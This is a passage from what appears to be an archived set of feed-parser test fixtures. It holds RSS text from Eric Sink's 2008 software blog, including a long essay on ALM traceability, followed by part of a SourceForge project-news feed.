    And if you do, I can't really argue with you.  I'm not going to defend my actions.  I was being irresponsible, even dishonest.  There are no excuses for behavior like that.

    Maybe Tim should have fired me.  At the very least, maybe Tim should not have entrusted the development of his company's next big product to someone who lacked the discipline to stay on task.

    Still, the overall results deserve some kind of voice in this argument.  Tim and his company were very successful.  Tim drives a Ferrari now.  Tim's choice worked out very well for me, but it turned out pretty well for Spyglass too.

    The Lesson Learned:  Choose your manager carefully

    This story may seem like it's about me, but really it's about Tim Krauskopf.

    I've never asked Tim why, so I guess I don't really know.  Maybe he just believes that being obsessive to a fault about code isn't the worst character defect for a developer to have.

    I spent five years at Spyglass.  The incident described above is just one of many that left me in awe of Tim's leadership skills and discernment.  I don't think I ever really figured out what makes that guy tick, but I still think of him every time I measure myself as a manager and leader.

    The part that seems most astonishing to me is that he kept his emotions in check.  Didn't he feel any sort of disappointment or even betrayal?  Why didn't he overreact?  That's what most people would have done.  I probably would have.

    All I really know here is this:

    Your manager plays an enormous role in determining the success of your career.  Choose your manager very, very carefully.

    • Choose somebody smart. 
    • Find somebody who is not merely smart, but "emotionally smart".
    • Find somebody who is not merely smart, but wise.
    • Choose a person from whom you can learn.

    Just to be clear, I am not saying you are powerless.  Your success is mostly determined by your own abilities and choices.

    But one of those choices is the decision of who you are going to work with.

    Don't take that choice lightly.

    Update:  See my follow-up.

    ]]>     Upcoming Gigs http://software.ericsink.com/entries/guadec_bos.html http://software.ericsink.com/entries/guadec_bos.html Mon, 12 May 2008 08:19:41 CST In July I will be giving a keynote address at GUADEC, the annual GNOME conference, being held this year in Istanbul.

    In September I will be speaking again at the Business of Software conference, being held this year in Boston.

    And finally, for something completely different, don't miss the Jam Session at Tech-Ed on June 3rd.  Several of us minions from SourceGear are planning to take the stage and give our rendition of Pinball Wizard.  It'll be me on acoustic guitar, our development manager Jeremy Sheeley on bass, and our product manager Paul Roub playing the Evil Mastermind Schecter PT that will be given away later that week.

    And BTW, none of us will be dressed as The Evil Mastermind.  This should be obvious, as The Evil Mastermind would never do something actually cool like a song by The Who.  Rather, he would do something like a Kelly Clarkson song and mistakenly believe it was cool.  :-)

    ]]>     Three Personal Highlights http://software.ericsink.com/entries/Gloat_20080509.html http://software.ericsink.com/entries/Gloat_20080509.html Fri, 09 May 2008 15:26:20 CST It's Friday afternoon, so I hope my readers will indulge me a bit of gloating over three recent moments of personal triumph:

    1. Playing the 12th hole at my regular course, I made a shot from about 80 yards out.  Unfortunately, it was for par.  :-(

    2. This past Saturday I walked the Indianapolis half marathon in a personal record time of 14:57 per mile.

    3. After setting up my new subwoofer, I put in the Return of the King DVD and zoomed ahead to the Minas Tirith battle scenes.  Seconds later, my younger daughter ran upstairs and cried, "Daddy, your movie is shaking the whole house!"

    All three of these were moments of great personal satisfaction.  The third one was the only one to result in maniacal laughter.

    ]]>     Windows XP and the importance of listening to customers http://software.ericsink.com/entries/Save_Windows_XP.html http://software.ericsink.com/entries/Save_Windows_XP.html Mon, 28 Apr 2008 10:22:38 CST On June 30, Microsoft will discontinue Windows XP in an effort to force all PC users onto Windows Vista.  As this date gets closer and closer, they have stubbornly insisted that they will not change their plans.

    Last week, Microsoft CEO Steve Ballmer blinked, but in a rather confusing way:

    • The sensible part:  Ballmer claimed that they might reconsider their decision if that's what customers wanted.

    • The confusing part:  Ballmer appeared to be completely ignorant of the multitudes of people publicly begging for XP to get a stay of execution.

    Just want kind of customer feedback would Ballmer be able to hear?

    It's really not that hard to find overwhelming evidence of large numbers of people who want to continue using XP.  A simple Google search for the string "save windows XP" results in over 200 thousand hits.

    Oh yeah, I forgot -- Steve probably doesn't use Google.  Maybe the problem is that he just can't find any XP fans on the Internets?  :-)

    Or maybe Ballmer is following the now fashionable trend of counting an Internet person as only 3/5 of a real person?

    • Sure, Ron Paul has lots of fanatical supporters, but they're mostly just people on the Internet, and they don't really count.

    • Sure, Barack Obama has raised truckloads of money, but he mostly gets it from people on the Internet, and they don't really count.

    • Sure, over 170 thousand people have signed the Save Windows XP petition, but those people are on the Internet, so they don't really count.

    Or maybe this is simply the most arrogant corporate decision in history?  Maybe Steve can hear all of these desperate cries but he simply doesn't care.

    Power corrupts.  Every monstrously large organization eventually turns into, well, a monster.  The next step is for all these organizations to start borrowing each other's tactics.  Hey Steve, why not start waterboarding everybody who won't switch to Windows Vista?  Apparently it's legal.  :-)

    The whole situation is most annoying to those of us who are running small software companies.  Unlike Microsoft, we actually have to listen to our customers.  When they tell us to jump, we ask how high.

    Microsoft is telling millions of its customers to jump.  Out of principle, I am doing my best not to comply:

    • I'm typing this blog entry on Windows XP.

    • That instance of Windows XP is actually a VMware image running on my Mac.  I started using a MacBook Pro with Leopard a couple months ago.  And I love it.

    • I just donated fifty bucks to the ReactOS project.  I'm figuring that in the long run, I've got a better chance of getting Windows XP from ReactOS than from Redmond.

    Some of my readers are horrified at this blog entry.  "But Eric, aren't you a .NET developer?"

    Yes, I am.  My overall posture toward Microsoft is still friendly.  I still use Windows every day.  I still love Visual Studio.  C# is still my favorite language ever.  Heck, I'm even a big WPF fan, so I'd actually prefer to see the world switch to Vista.  I've used Vista, and while I didn't find it to be a compelling "must-have" upgrade, I rather liked it.

    But none of this means that I'm going to give my blanket agreement to every decision Microsoft makes.  In this case, I object to Microsoft's plan, not because Vista is so awful, but rather, because ignoring customers is so wrong.

    ]]>     What is ALM? Traceability http://software.ericsink.com/alm/traceability.html http://software.ericsink.com/alm/traceability.html Wed, 16 Apr 2008 14:13:25 CST What is ALM?

    If you are a software developer, there are a whole bunch of companies (including mine) who want to sell you stuff.

    If you read any magazines, go to any conferences, or visit any websites, there is a good chance you've seen their (our) marketing efforts.

    More and more often, the term you see in those marketing materials is "ALM".  Ever wondered what that term means?

    It means "Application Lifecycle Management".

    Don't you feel better now that I've cleared all that up?  :-)

    Digression:  Dead-End Acronyms

    So ALM is what I call a dead-end acronym.  Like all acronyms, nobody knows what it means until you see its expanded form.  But with dead-end acronyms, people can stare all they want at the expanded form and they still don't know what it means.  There's nowhere to go.  It's a dead-end.

    We software developers have a tendency to create dead-end acronyms.  For example, SOA means "Service Oriented Architecture", but I still don't know what that means.

    My personal theory is that dead-end acronyms get created when somebody forces the issue.  They create an acronym which didn't want to be created.  Indigo didn't really want to be WCF -- it just wanted to stay Indigo.

    Dead-end acronyms.  Our special gift to the world.

    No, really.  What is ALM?

    Back to the point.  What is ALM?  Let's look a bit deeper.  The expanded form actually does hold a few clues:

    • From the word "Application" (and from the overall context) we know that this is about "Software Development". 
    • The word "Management" is fairly intuitive all by itself.
    • The word "Lifecycle" tells us that we're talking about the whole software development process.  All of it.

    So, we can translate "ALM" to "Managing The Whole Software Development Process".

    I suppose it's obvious that "MTWSDP" doesn't exactly roll off the tongue like "ALM" does.

    Worse, I'd have to say we still haven't made much progress here.  Isn't there some way out of this dead-end? 

    What is ALM?

    Two roads diverged in a wood, and I...

    Starting from this point, attempts to define ALM usually go in one of two distinct directions.

    1. The Trees (focus on the details)
      1. List all of the activities in the whole software development process (idea, market research, requirements, design, architecture, implementation, testing, release, wild drunk release party, user support, postmortem, assignment of blame, sackings, regret over impulsive terminations, rehiring as contractors at twice the cost, lather, rinse, repeat).
      2. For each activity, list one or more tools that support that activity (requirements management, modeling, compilers, automated testing, issue tracking, project management, dart board, help desk, time tracking, etc).
    2. The Forest (look at the big-picture)
      1. Talk about the benefits that software managers can get from looking at the whole lifecycle.
      2. Talk about the integration between the various tools in the whole software development process.

    I believe the essence of ALM lies in the big picture view, in the real benefits that software managers get from using a truly integrated suite of tools that give them the ability to deal with the whole software development lifecycle.  My definition of ALM proceeds from The Forest perspective, the big picture view.

    Getting more specific

    So far this piece is over 500 words long and it still doesn't say anything.  It's time to get a bit more specific.

    Before I go any further, let me say that this particular article does not attempt to offer a complete definition of ALM.  For now I am going to focus on just one issue:  Traceability.

    Let's look at an example.

    The Mystery of the PersonCompanyAssoc Table, Part 1

    Joe is a technical support representative for CrummySoft, an ISV that sells a CRM solution.  He is working with a customer who says they just upgraded from version 6.0 to 7.0 and suddenly everything became really slow.  In an effort to track down the problem, he goes to visit Sally, a program manager.

    Joe:  One of my customers says version 7.0 is a lot slower than 6.0.

    Sally:  How much is "a lot"?

    Joe:  Loading their dashboard page went from 1 second to around 30 seconds.

    Sally:  That's a lot.  How many other customers are complaining about this?

    Joe:  I've heard of a few.  Maybe a dozen.  So far.

    The detective work begins.  Sally opens her IDE and digs into the problem.  Looking into the DB schema, she sees something odd.

    Sally:  Here's something odd.

    Joe:  What?

    Sally:  Somebody changed the SQL table schema during the 7.0 dev cycle.  In 6.0 and prior, each person could be associated with exactly one company.  In fact, the People table had a column which was a foreign key into the Companies table.  Sometime during 7.0, this changed.  Now we have a new table called PersonCompanyAssoc, which allows a Person to be connected with more than one company.

    Joe:  OK.  So what's the problem?

    Sally:  The problem is that there were lots of places in the code which assumed a Person would only be associated with one Company.  Somebody went through and tried to fix them all with a bunch of changes to indexes, triggers and constraints.  Not all of those fixes were done in a very scalable way.  Most customers will be unaffected, but I could imagine some situations where we end up with a major slowdown.

    Joe:  What kinds of situations?

    Sally:  Well, for example, I'm guessing things would get bad if the Locations table has lots of different entries for the same Company.

    Joe:  Bingo.  My customer deals mostly with virtual companies.  Their database has one company which is scattered across thirty different states and five countries in Europe.

    Sally:  That would do it.

    Joe:  So doesn't this change seem kind of stupid anyway?  Why would somebody need the ability to associate one person with multiple organizations?

    Sally:  I don't know, but there's probably a reason.  Let's look for more clues.

    Sally brings up the version control history log to find out who made these code changes and why.

    Sally:  Apparently the PersonCompanyAssoc table was added by a developer named Tony.  The checkin comment explains what he was doing, but there's no rationale for why and no mention of the spec for this feature.

    Joe:  So hey, as long as we're here in the code, can you just put it back the way it was?  If this change doesn't make any sense and it's causing performance problems, why not just undo it?

    Sally:  It would probably be better to understand the whole story before we just change it back.  Let's go find Tony and ask for more info.

    Isn't version control enough?

    Version control does give you some traceability, and that's a good thing.  But in many cases, it is not enough.

    Version control will tell you about code changes.  It can answer questions like Who, What and When.  But the hardest question in traceability is Why, and version control often lacks enough information to give a good answer.  Even if the developer is supposed to give a checkin comment which explains why a change was made, the detective work tends to get stuck because the clues dry up.

    • Why is this piece of code there?
      • Oh, it was to fix a bug.
    • Which bug?
      • Oh, that one.
    • But why was this a bug?
      • Oh, the spec says it should work this way.
    • But why?
      • Oh, here's the rationale for that requirement.  It came from marketing research.

    Very few developers write checkin comments which are good enough to solve the really tough mysteries in software development, and they shouldn't have to.  We don't need better checkin comments.  We need all the artifacts from the whole software development process to be linked together.

    The Mystery, Part 2

    Sally and Joe walk across the CrummySoft campus to building 71 where they find themselves in a seemingly endless room filled with cubicles.  The manager sitting next to the entrance at a mahogany desk with a nameplate identifying him as Biff.

    Biff:  Can I help you?

    Sally:  We're looking for a developer named Tony.  Is he here?

    Biff:  Why do you want to see him?

    Sally:  He made a code change and we need to ask him for more information about it.

    Biff:  OK, let's see.  Tony.  Ah yes, he's in cubicle 19-346-B.

    Joe:  19-346-B.  Where's that?

    Biff:  I gather that you've never been here before?  Very well.  Cubicle 19-346-B.  Go to aisle 19.  Walk down to the 346th cubicle.  Tony should be in the one on your left.

    Joe and Sally eventually reach Tony's cubicle where they find him playing World of Warcraft.

    Tony:  You need somethin'?

    Joe:  Why did you add a PersonCompanyAssoc table during the 7.0 dev cycle?

    Tony:  How should I know?  That was like nine months ago.  I've probably made at least two other code changes since then.  I can't be expected to remember details like that.

    Sally:  Do you know anyone who might know?

    Tony:  Ask Phil in QA.  Maybe there's some info in that bug tracking database I've seen him using.

    Joe:  So where do we find Phil?

    Tony:  Geez, have you guys never been here before or what?  Phil is in cubicle 61-842-A.  That means you go down to aisle 61, turn left, and walk down ---

    Joe:  Yeah, yeah, we got it.  Thanks.

    Sally and Joe meander their way across the cubicle field to find Phil.  Along the way, Joe pauses at the intersection of an aisle and a row.  The walls in all four directions are too far away to see.  Continuing on, they eventually reach their destination.

    Sally:  Phil, any idea why Tony added a PersonCompanyAssoc table about six months ago?

    Phil:  Yeah, I think we did that to fix a bug. 

    Joe:  Which bug?

    Phil:  How should I know?

    Sally:  Well could you look it up?

    Phil:  Fine, let's see.  Oh yeah, it's bug 8675309.

    Sally:  Does that bug have any information about why the change was made?

    Phil:  Not really, but there's a comment here by somebody on the sales team.  Did you talk to them yet?

    Joe:  Aha!  Let's go ask the sales team!

    Team Size

    ALM tools are often associated with very large projects and enterprise development.  This is just intuitive.  The more people involved, the more complexity to be managed.

    Imagine trying to solve a mystery and you get stuck.  You need more clues, so you start canvassing the neighborhood looking for people who might have seen something suspicious.  Now suppose that "the neighborhood" is a software development division with 5,000 people in it.  Those interviews are going to take a while.

    But chaos usually takes over long before a team gets that large.  Traceability may not be as important for a team of 50 as it is for a team of 5,000, but it can still be pretty important.  People forget why things happen, and that forgetfulness is not a function of the size of the team they are on.

    You may be thinking, "My team is small.  We shouldn't have these kinds of problems, but this mystery still sounds familiar.  Why does this kind of detective work happen when we've only got 10 people?"

    Are you sure you are counting everyone?  :-)

    How about your customers?  They are part of your story.  When a customer asks for something, very often it triggers a sequence of steps.  And somebody will probably want to trace that sequence back to that customer.

    SourceGear is a pretty small company.  We've got less than 50 people on our staff.

    But our flagship product, Vault, is used by about 50 thousand people.  Sometimes we have a mystery to solve.  And very often the detective work leads us to one of those customers.  Our customers add to the complexity of our software lifecycle, and increase our need for traceability.

    The Mystery, Part 3

    When the plane arrives in Grand Cayman, Sally and Joe are greeted by a dozen beautiful people with perfect tans who escort them to the main company sales office, where, as always, a party is in progress.

    Joe:  Who should we talk to?

    Sally:  Let's find Bill.  He came to the company headquarters once for a meeting.  I think he'll remember us.

    Weaving through the crowd, they eventually find Bill, martini in one hand, cell phone in the other.

    Bill:  Do I know you?  Oh, wait.  Don't you work at the HQ back in Minneapolis?  I think we met last summer when I came up for that golf outing, er, I mean, sales training.  So what brings you all the way here to visit the sales team?

    Joe:  We're trying to solve a mystery.  Between 6.0 and 7.0, somebody changed the database schema to handle multiple company associations per person.  Any idea why?

    Bill:  Can I offer you a martini?

    Sally:  Seriously, Bill, this code change is causing a lot of problems.  We want to just rip it out, but we figure we should understand the background first.

    Bill:  Yeah, yeah, whatever.  That wasn't my deal.  Ask Marty.

    After a bit more searching and stopping briefly to slide under the limbo bar, Joe and Sally find Marty in the corner of the room speaking intensely into his cell phone.

    Marty:  Don't worry, you can count on me this time!  I'll have the feature in version 8.0, I promise!

    Sally:  Hey Marty.  We're trying to track down some information.  Somebody changed the DB schema during the 7.0 dev cycle to allow multiple companies to be associated with each person.  Were you the one who requested that feature?

    Marty:  Yeah, that's me.  I needed that tweak to close a deal.  Is there a problem?

    Joe:  Yes!  That was a lot more than a "tweak".  It may seem simple, but it involved hundreds of code changes, and all kinds of things got messed up!

    Marty:  Can I offer you a martini?

    Sally:  Seriously, can you tell us why this change was necessary?  Why would anybody need to keep track of multiple companies per individual?

    Marty:  One of my accounts is using our CRM product in selling to a network of consultants.  Those consultants have loose company affiliations.  One day they might be representing company XYZ, and the next day they're working for company ABC.  The assumption of "one company per individual" just wasn't flexible enough.

    Sally:  Was it a good deal?  I mean, was this worth the trouble?

    Marty:  I think so.  The deal was quite lucrative, and it opened the door to half a dozen more like it, three of which I have already signed.  Look, I'm sorry somebody screwed up this code change, but the business case behind it was solid.

    Sally:  Alright, fine.  Thanks for the info.

    The Whole Team

    The full story of every significant software development project includes many different people.  Most of them are not writing code.  Tracing an issue backward can mean more than finding the bug report that motivated a code change.  We may need to go back further, back to the spec.

    We might need to go back even further, back to the market research or the sales engagement or the customer support ticket.

    A truly comprehensive approach to traceability would archive, index and link everything:

    • Requirements
    • Version control
    • Issue tracking
    • Marketing research
    • Wiki
    • Email, discussions
    • Tests
    • Help desk tickets
    • etc

    The challenge of an ALM tool is to support traceability across all stages of the software lifecycle.

    The Mystery, Part 4

    Joe and Sally head back to the airport to catch a flight back to the Twin Cities.

    Sally:  So I guess this code change needs to stay.  But now we've got another mystery.  This code change caused a bunch of problems.  Why weren't those problems found in testing?

    Joe:  Let's go back to that QA guy and ask him.

    Returning to the main company headquarters, they find their way back to cubicle 61-842-A.

    Phil:  Whazzup?

    Sally:  We talked to the sales team and got some rationale for that PersonCompanyAssoc table change.  Now we're trying to figure out why the resulting problems weren't found during testing.

    Phil:  Hey, don't look at me.  I just do what I'm told.

    Joe:  Whatever.  So the product supports multiple locations per company, right?

    Phil:  Yeah, I guess so.

    Joe:  Do you guys have any tests which verify behavior for that case?

    Phil:  I don't know.

    Sally:  You don't know?  Why not?

    Phil:  I just don't.  The tests aren't really organized like that.

    Joe:  Well how are they organized?

    Phil:  By number.

    Sally:  And what do the numbers mean?

    Phil:  Well, nothing.

    Sally:  So is there any way to find which tests are designed to verify which features?

    Phil:  Uh, well, no.  You could always open an individual test and read it to find out what it does.

    Sally:  Great.  So you've got a bunch of tests and no way of linking them to anything?

    Phil:  Exactly!

    Sally:  OK, I think we're done here.

    Forward Traceability

    Traceability can do more than just help you figure out forgotten details of the past.  Sometimes we want to trace something "forward" through the software lifecycle, to see where it goes.

    In this case, what we want is the following artifacts to be linked together:

    1. Requirement:  The system must support multiple locations per company.
    2. Test (validity):  Verify that the system can support multiple locations per company.
    3. Test (performance):  Verify that in a situation with multiple locations per company, the dashboard load time remains approximately constant.

    This kind of traceability is most helpful in finding things that are simply missing.  If the performance test above does not exist, our ALM tool should be able to help us notice that.  If a Requirement is dangling, with no links to anything, it was probably never implemented, and our ALM tool should be fussing about that.

    Traceability:  Connecting Everything Together

    The ability to connect everything together is called traceability.  It allows us to look at the entire software development process, even though it involves

    • lots of different people
    • doing lots of different things
    • at lots of different times
    • in lots of different locations
    • for lots of different reasons.

    In a good ALM system, every item is linked to all of the other items related to it.  Code changes are linked to bug reports.  Bug reports are linked to help desk items.  Tests are linked to requirements.  When it comes time to do detective work, just follow the links.

    You can't get good traceability merely by having one tool for each lifecycle stage.  You can assemble all of your favorite tools, but if those tools don't support outstanding integration with each other, you won't have traceability, so the result will not be ALM.

    So is that all there is to ALM?  Just traceability? 

    No, ALM is more than that, but traceability is a critical ingredient.  To have ALM, you've gotta have traceability.

    Why to use a good ALM system

    If CrummySoft had deployed an efficient ALM system with complete information, Sally and Joe could have solved this mystery in minutes, without the need to run all over the company and ask people questions.

    Why not to use a good ALM system

    If CrummySoft had deployed an efficient ALM system with complete information, Sally and Joe would not have gotten a free trip to Grand Cayman.  :-)

    ]]>     Life Calculus http://software.ericsink.com/entries/Life_Calculus.html http://software.ericsink.com/entries/Life_Calculus.html Sat, 15 Mar 2008 10:52:41 CST Yesterday my coworkers redecorated my office.  Pictures in this blog entry are photos of their work.  Strangely enough, I found myself quite appreciative of their act of vandalism.  :-)

    Today is my 40th birthday.  Like most other days, I started by walking the dog and making a To-Do list.  However, today's list has a special item:

    • Decide whether to have a mid-life crisis or not.

    :-)

    I'll confess I am not entirely thrilled about being 40.  It doesn't seem that long ago that 40 seemed far away.  Now that it's here, I realize that it's not what I expected.  I thought my life at 40 would be different.

    Many who know me would assert that I have nothing to complain about.  And they would be correct.  My life has been filled with blessings of all kinds, for which I am truly thankful.  I am a published author.  Most would consider me financially successful.  I am in a career where I enjoy my work.

    But still...

    As the old saying goes, nobody lies on their deathbed wishing they had spent more time at the office.

    Like most everybody else, when I was 30 I looked ahead ten years and formed a picture in my mind.  My life today doesn't match that picture very well.  Examples:

    • I thought by now I would be more solid in the quality of my relationships with my loved ones and in the practice of my faith.

    • I thought by now I would be a better guitar player.

    • There's a messy pile in my study that has been there for ten years.  (Yes, we moved six years ago.  The heap moved too.)  I thought it would be cleaned up by now.

    • I always assumed that by 40 I would have learned to exercise regularly and stop eating junk food.

    I go could on.  And on.  But you get the idea.

    I am tempted to think about my regrets, the places where I took a wrong turn, the places where I would have made a smarter choice if I knew then what I know now.

    But this whole line of thinking doesn't seem at all conducive to good mental health, so today I will choose to focus on two things which seem more constructive:

    1.  Tapestry

    One of my favorite Star Trek episodes is called Tapestry.  It is the story of someone given a chance to re-live a pivotal moment in his youth so that he can avoid making the unwise choice he made the first time.  But it turns out that his reckless moment was a critical ingredient in his later successes.

    Today I remind myself that there are no do-overs, and I'm not sure I would want one anyway.  For every mistake I have made, there were negative consequences and positive lessons.  I can't expect to avoid the former and keep the latter.  They come together as an inseparable package.

    2.  Life Calculus.

    Back in 2003 I wrote an article called Career Calculus.  In a nutshell, it says that at any given moment in your career, what you know is far less important than whether you are learning.

    Today I remind myself that the same principle applies in life.  I am confident in my first derivative.  Whatever I am today, I think I will be a better person tomorrow.

    So if I'm still blogging when I'm 50, I expect I will be able to report progress on some of the items mentioned above.

    And just to be clear, if that heap of junk on the floor of my study is still there, it will be larger than it is now, and I plan to report that as progress.  :-)

    ]]>     ././@LongLink000 144 0003735 LHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-sourceforge.net-export-rss2_sfnews.php%2FfeedHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-sourceforge.net-export-rss2_sfnews.php%2Ffeed0000664000175000017500000003241512653701626031471 0ustar janjan SourceForge.net: Front page news http://sourceforge.net/ Recent news from SF.net-hosted projects Copyright and acceptable use information for this RSS feed may be found at: http://sourceforge.net/tos/tos.php Fri, 19 Sep 2008 20:27:19 GMT SourceForge.net RSS generator SourceForge.net logo http://images.sourceforge.net/images/sflogo-88-1.png http://sourceforge.net/ 88 31 The world's largest Open Source software development website LQ Linux: a first version of the big menu An easy Linux-System for older people. It has a big menu, an easy and safe installer, etc. It is going to base first on an other Linux(like Gentoo), but later on an own LFS-System <p><a href="http://feedads.googleadservices.com/~a/HIgGX95IjBW0k6nm0ZdylfjDcaQ/a"><img src="http://feedads.googleadservices.com/~a/HIgGX95IjBW0k6nm0ZdylfjDcaQ/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/sourceforge/export/rss2_sfnews/~4/6-2Dmg2TR28" height="1" width="1"/> jgb_acc@users.sourceforge.net (Jacob Georg Benz) http://rss.sourceforge.net/~r/sourceforge/export/rss2_sfnews/~3/6-2Dmg2TR28/forum.php http://sourceforge.net/forum/forum.php?forum_id=868586 Fri, 19 Sep 2008 20:27:19 GMT http://sourceforge.net/forum/forum.php?forum_id=868586 http://sourceforge.net/forum/forum.php?forum_id=868586 GetTogether: First development release Social network application featuring geographical distance calculation, events, locations, message boards and blog. <p><a href="http://feedads.googleadservices.com/~a/_sX_Ygjd3hJLTHx2L-qVUid-qqY/a"><img src="http://feedads.googleadservices.com/~a/_sX_Ygjd3hJLTHx2L-qVUid-qqY/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/sourceforge/export/rss2_sfnews/~4/2PXPhLvEbMY" height="1" width="1"/> jarvatharpo@users.sourceforge.net (Christian Neumann) http://rss.sourceforge.net/~r/sourceforge/export/rss2_sfnews/~3/2PXPhLvEbMY/forum.php http://sourceforge.net/forum/forum.php?forum_id=868532 Fri, 19 Sep 2008 20:27:03 GMT http://sourceforge.net/forum/forum.php?forum_id=868532 http://sourceforge.net/forum/forum.php?forum_id=868532 OpenSkyNet: Pathfinding API v0.51 released OpenSkyNet - Moving towards a comprehensive artificial intelligence solution for game developers under the LGPL. The goals are to implement action selection solvers, robust steering behaviors (including pathfinding algorithms), and machine learning. <p><a href="http://feedads.googleadservices.com/~a/dIUwm32FfVwCx1S0oMZqQJt_mdI/a"><img src="http://feedads.googleadservices.com/~a/dIUwm32FfVwCx1S0oMZqQJt_mdI/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/sourceforge/export/rss2_sfnews/~4/wqCacFdXvCk" height="1" width="1"/> agn0stic3000@users.sourceforge.net (Dylan Blair) http://rss.sourceforge.net/~r/sourceforge/export/rss2_sfnews/~3/wqCacFdXvCk/forum.php http://sourceforge.net/forum/forum.php?forum_id=868432 Fri, 19 Sep 2008 20:26:59 GMT http://sourceforge.net/forum/forum.php?forum_id=868432 http://sourceforge.net/forum/forum.php?forum_id=868432 phpFotolog: New version - Nueva versión de phpFotolog A Fotolog.net clone writen in PHP and MySQL. You can upload pictures and it generates thumbnails. Visitors can add comments to your photos. It also supports adding fotolog.net and photoblog.be friends and updating automatically their last uploaded photos. <p><a href="http://feedads.googleadservices.com/~a/VuNC2MUK9NWC9wYGLfXM58QSbQg/a"><img src="http://feedads.googleadservices.com/~a/VuNC2MUK9NWC9wYGLfXM58QSbQg/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/sourceforge/export/rss2_sfnews/~4/5_oFtBwQAKw" height="1" width="1"/> erssystems@users.sourceforge.net (ERS Systems) http://rss.sourceforge.net/~r/sourceforge/export/rss2_sfnews/~3/5_oFtBwQAKw/forum.php http://sourceforge.net/forum/forum.php?forum_id=868352 Fri, 19 Sep 2008 20:26:54 GMT http://sourceforge.net/forum/forum.php?forum_id=868352 http://sourceforge.net/forum/forum.php?forum_id=868352 ppc-evtd: 1.8 This a simple and small user space interface daemon to the Linkstation/Kuro AVR micro-controller. It provides macro'd power on/off events and user control over button and fault events. <p><a href="http://feedads.googleadservices.com/~a/-5ZD5WieOF3caarnN_Y87rw_sx4/a"><img src="http://feedads.googleadservices.com/~a/-5ZD5WieOF3caarnN_Y87rw_sx4/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/sourceforge/export/rss2_sfnews/~4/yzo-dsBcGZ0" height="1" width="1"/> lb-source@users.sourceforge.net (lb-ls) http://rss.sourceforge.net/~r/sourceforge/export/rss2_sfnews/~3/yzo-dsBcGZ0/forum.php http://sourceforge.net/forum/forum.php?forum_id=868278 Fri, 19 Sep 2008 20:24:45 GMT http://sourceforge.net/forum/forum.php?forum_id=868278 http://sourceforge.net/forum/forum.php?forum_id=868278 XBMC Media Center: ‘Atlantis’ Beta 1 released XBMC media center is a free software cross-platform media player jukebox and entertainment hub. XBMC is capable of playing back almost all known video, audio and picture formats from a computers harddrive, DVD-ROM drive, a local-network, and the internet <p><a href="http://feedads.googleadservices.com/~a/YncLWT9w1dS1_OLnbU3pGBLggHI/a"><img src="http://feedads.googleadservices.com/~a/YncLWT9w1dS1_OLnbU3pGBLggHI/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/sourceforge/export/rss2_sfnews/~4/WWmZ9-vTdKY" height="1" width="1"/> gamester17@users.sourceforge.net (Gamester17) http://rss.sourceforge.net/~r/sourceforge/export/rss2_sfnews/~3/WWmZ9-vTdKY/forum.php http://sourceforge.net/forum/forum.php?forum_id=868197 Thu, 18 Sep 2008 18:41:44 GMT http://sourceforge.net/forum/forum.php?forum_id=868197 http://sourceforge.net/forum/forum.php?forum_id=868197 PNG reference library: libpng: 1.2.32 released Reference library for supporting the Portable Network Graphics (PNG) format. <p><a href="http://feedads.googleadservices.com/~a/caRMqVa5HLDa2QT95lMxQSlutqM/a"><img src="http://feedads.googleadservices.com/~a/caRMqVa5HLDa2QT95lMxQSlutqM/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/sourceforge/export/rss2_sfnews/~4/TYYRZjyi4nc" height="1" width="1"/> glennrp@users.sourceforge.net (Glenn Randers-Pehrson) http://rss.sourceforge.net/~r/sourceforge/export/rss2_sfnews/~3/TYYRZjyi4nc/forum.php http://sourceforge.net/forum/forum.php?forum_id=868098 Thu, 18 Sep 2008 18:41:12 GMT http://sourceforge.net/forum/forum.php?forum_id=868098 http://sourceforge.net/forum/forum.php?forum_id=868098 Harbour: 1.0.1 released The Harbour Project is a Free Open Source Software effort to build a multiplatform Clipper language compiler. Harbour consists of the xBase language compiler and the runtime libraries with different terminal plugins and different databases (not just DBF) <p><a href="http://feedads.googleadservices.com/~a/fapTO-irhnaAWEcHLH42ZnD5qXU/a"><img src="http://feedads.googleadservices.com/~a/fapTO-irhnaAWEcHLH42ZnD5qXU/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/sourceforge/export/rss2_sfnews/~4/soX5C-_gclE" height="1" width="1"/> vszakats@users.sourceforge.net (Viktor Szakats) http://rss.sourceforge.net/~r/sourceforge/export/rss2_sfnews/~3/soX5C-_gclE/forum.php http://sourceforge.net/forum/forum.php?forum_id=868005 Thu, 18 Sep 2008 18:41:33 GMT http://sourceforge.net/forum/forum.php?forum_id=868005 http://sourceforge.net/forum/forum.php?forum_id=868005 Pantheios: 1.0.1 (beta 157) released Pantheios is an Open Source C/C++ Logging API library, offering an optimal combination of 100% type-safety, efficiency, genericity and extensibility. It is simple to use and extend, highly-portable (platform and compiler-independent) and, best of all, it upholds the C tradition of you only pay for what you use. <p><a href="http://feedads.googleadservices.com/~a/ruCdkv3C2sItUmrmXJU3UrFgQV4/a"><img src="http://feedads.googleadservices.com/~a/ruCdkv3C2sItUmrmXJU3UrFgQV4/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/sourceforge/export/rss2_sfnews/~4/oSzwFU3duS8" height="1" width="1"/> matsys@users.sourceforge.net (Matt Wilson) http://rss.sourceforge.net/~r/sourceforge/export/rss2_sfnews/~3/oSzwFU3duS8/forum.php http://sourceforge.net/forum/forum.php?forum_id=868001 Thu, 18 Sep 2008 18:41:38 GMT http://sourceforge.net/forum/forum.php?forum_id=868001 http://sourceforge.net/forum/forum.php?forum_id=868001 LiquiBase: 1.8.0 Released A tool to manage database changes and refactorings. All changes to a database are stored in XML files that are stored in version control with other source code. A graphical IDE is also available <p><a href="http://feedads.googleadservices.com/~a/Mi8IirWqPiM-85LzaY-rJHHgJME/a"><img src="http://feedads.googleadservices.com/~a/Mi8IirWqPiM-85LzaY-rJHHgJME/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/sourceforge/export/rss2_sfnews/~4/3g1d3y_EYeA" height="1" width="1"/> 